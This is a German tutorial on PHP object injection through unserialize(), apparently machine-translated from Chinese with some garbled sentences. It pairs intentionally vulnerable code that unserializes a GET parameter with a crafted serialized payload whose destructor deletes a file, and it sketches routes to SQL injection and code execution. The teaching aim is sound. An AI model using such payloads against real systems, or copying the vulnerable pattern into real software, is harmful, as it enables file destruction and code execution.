PHP-Objektinjektion ist eine sehr häufige Schwachstelle. Obwohl diese Art von Schwachstelle etwas schwierig auszunutzen ist, ist sie dennoch sehr gefährlich. Dieser Artikel gibt Ihnen hauptsächlich eine detaillierte Erklärung der PHP-Sicherheitslücke bei der Deserialisierung von Objekten. Ich hoffe, dass er Ihnen helfen kann.
Serialisieren konvertiert ein Objekt in eine Zeichenfolgenform, die zum Speichern verwendet werden kann
Unserialisieren verwandelt die serialisierte Zeichenfolge in ein Objekt
php-Klasse kann einige spezielle Funktionen enthalten, die als magische Funktionen bezeichnet werden, die mit dem Symbol __ beginnen,
wie __construct, __destruct, __toString, __sleep, __wakeup usw.
Diese Funktionen werden unter bestimmten Umständen automatisch aufgerufen, z. B.
__construct wird aufgerufen, wenn ein Objekt erstellt wird,
__destruct wird aufgerufen, wenn ein Objekt zerstört wird,
__toString wird aufgerufen, wenn ein Objekt erstellt wird wird zerstört Wird als Zeichenfolge verwendet.
Zum Beispiel:
<?php class TestClass { public $variable = 'This is a string'; public function PrintVariable() { echo $this->variable . '<br />'; } public function __construct() { echo '__construct <br />'; } public function __destruct() { echo '__destruct <br />'; } public function __toString() { return '__toString<br />'; } } $object = new TestClass(); $object->PrintVariable(); echo $object; ?>
php ermöglicht Ihnen das Speichern eines Objekts zur späteren Wiederverwendung. Dieser Vorgang wird Serialisierung genannt .
Warum gibt es einen Serialisierungsmechanismus?
Während des Prozesses der Variablenübergabe kann es vorkommen, dass Variablenwerte über Skriptdateien hinweg übergeben werden. Stellen Sie sich vor, Sie möchten die Variablen eines vorherigen Skripts in einem Skript aufrufen, das vorherige Skript wurde jedoch ausgeführt und alle Variablen und Inhalte werden freigegeben. Wie machen wir das? Brauchen wir eine kontinuierliche Schleife und Wartezeit? für den nächsten? Skriptaufruf? Das ist definitiv unrealistisch.
Serialisieren und Deserialisieren werden verwendet, um dieses Problem zu lösen. Serialize kann eine Variable in eine Zeichenfolge umwandeln und den Wert der aktuellen Variablen während der Konvertierung speichern; unserialize kann die durch Serialisierung generierte Zeichenfolge wieder in eine Variable umwandeln. Dies löst die skriptübergreifende Übertragung und Ausführung perfekt.
Die magischen Funktionen __construct und __destruct werden automatisch aufgerufen, wenn ein Objekt erstellt oder zerstört wird.
Die magische Methode __sleep wird aufgerufen, wenn ein Objekt serialisiert wird.
Die magische Methode __wakeup wird aufgerufen, wenn ein Objekt umgekehrt wird Wird während der Serialisierung aufgerufen.
<?phpclass User { public $age = 0; public $name = ''; public function Printx() { echo $this->name.' is '.$this->age.' years old.<br/>'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('name', 'age'); } }$usr = new User(); $usr->age = 20; $usr->name = 'John'; $usr->Printx(); echo serialize($usr);echo '<br/>'; $str = 'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'; $user2 = unserialize($str);$user2->Printx();?>
Jetzt verstehen wir, wie Serialisierung funktioniert, aber wie nutzen wir sie?
Je nach Anwendung gibt es mehrere mögliche Methoden. Verfügbare Klassen und magische Funktionen.
Denken Sie daran, dass serialisierte Objekte vom Angreifer kontrollierte Objektwerte enthalten.
Möglicherweise finden Sie im Quellcode der Webanwendung eine Klasse, die __wakeup oder __destruct definiert. Diese Funktionen wirken sich auf die Webanwendung aus.
Zum Beispiel könnten wir eine Klasse finden, die Protokolle vorübergehend in einer Datei speichert. Wenn das Objekt zerstört wird, benötigt es die Protokolldatei möglicherweise nicht mehr und löscht sie. Speichern Sie den folgenden Code als log.php.
<?php //log.php class LogFile { // log文件名 public $filename = 'error.log'; // 储存日志文件 public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // 删除日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>
test.php Angenommen, dies ist PHP für den Benutzer.
<?php //test.php include 'logfile.php'; // ... 一些使用LogFile类的代码... // 简单的类定义 class User { // 类数据 public $age = 0; public $name = ''; // 输出数据 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 重建用户输入的数据 $usr = unserialize($_GET['usr_serialized']); ?>
123.php
<?php //123.php include 'logfile.php'; $obj = new LogFile(); $obj->filename = '1.php'; echo serialize($obj) . '<br />'; ?>
Beginnen Sie mit einer 1.php:
Jetzt übergibt der Benutzer eine serialisierte Zeichenfolge, testen Sie .php deserialisiert es,
http://127.0.0.1/test.php?usr_serialized=
O:7:%22LogFile%22:1:{ s:8: %22filename%22;s:5:%221.php%22;}
Infolgedessen wurde das analysierte Objekt namens log.php während des Freigabevorgangs gelöscht. Die Funktion __destruct() wurde gelöscht die Datei 1.php.
Injizieren Sie das serialisierte Objekt dort, wo die Variable steuerbar ist und der Deserialisierungsvorgang ausgeführt wird, und implementieren Sie es die Codeausführung oder anderes irreführendes Verhalten.
Abgesehen von __wakeup und __destruct gibt es einige sehr häufige Injektionspunkte, die es Ihnen ermöglichen, diese Art von Sicherheitslücke auszunutzen. Alles hängt von der Programmlogik ab.
Zum Beispiel definiert eine Benutzerklasse einen __toString, damit die Anwendung die Klasse als Zeichenfolge ausgeben kann (echo $obj), und andere Klassen können auch eine Klasse definieren, damit __toString eine bestimmte Datei lesen kann.
Andere magische Funktionen können ebenfalls verwendet werden:
Wenn das Objekt eine nicht vorhandene Funktion aufruft, wird __call aufgerufen.
Wenn das Objekt versucht, auf nicht vorhandene Klassenvariablen zuzugreifen, wird __get aufgerufen und _ _set wird aufgerufen.
Aber die Nutzung dieser Schwachstelle ist nicht auf magische Funktionen beschränkt, die gleiche Idee kann auch für gewöhnliche Funktionen übernommen werden.
Zum Beispiel kann die Benutzerklasse eine Get-Methode definieren, um einige Benutzerdaten zu finden und zu drucken, andere Klassen können jedoch eine Get-Methode definieren, um Daten aus der Datenbank abzurufen, was zu SQL-Injection-Schwachstellen führen kann.
Die Set- oder Write-Methode schreibt Daten in eine beliebige Datei, die zur Remote-Codeausführung verwendet werden kann.
Das einzige technische Problem sind die am Injektionspunkt verfügbaren Klassen, aber einige Frameworks oder Skripte verfügen über Funktionen zum automatischen Laden. Das größte Problem sind die Menschen: Sie müssen die Anwendung verstehen, um diese Art von Schwachstelle ausnutzen zu können, da das Lesen und Verstehen des Codes viel Zeit in Anspruch nehmen kann.
Verwandte Empfehlungen:
Detaillierte Erläuterung der PHP-Serialisierungs- und Deserialisierungsprinzipien
Detaillierte Einführung in Serialisierung und Deserialisierung
Javascript-Implementierung Beispiele für die JSON-Serialisierung und Deserialisierungsfunktionen
Das obige ist der detaillierte Inhalt vonPHP über Sicherheitslücke bei der Deserialisierung von Objektinjektionen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!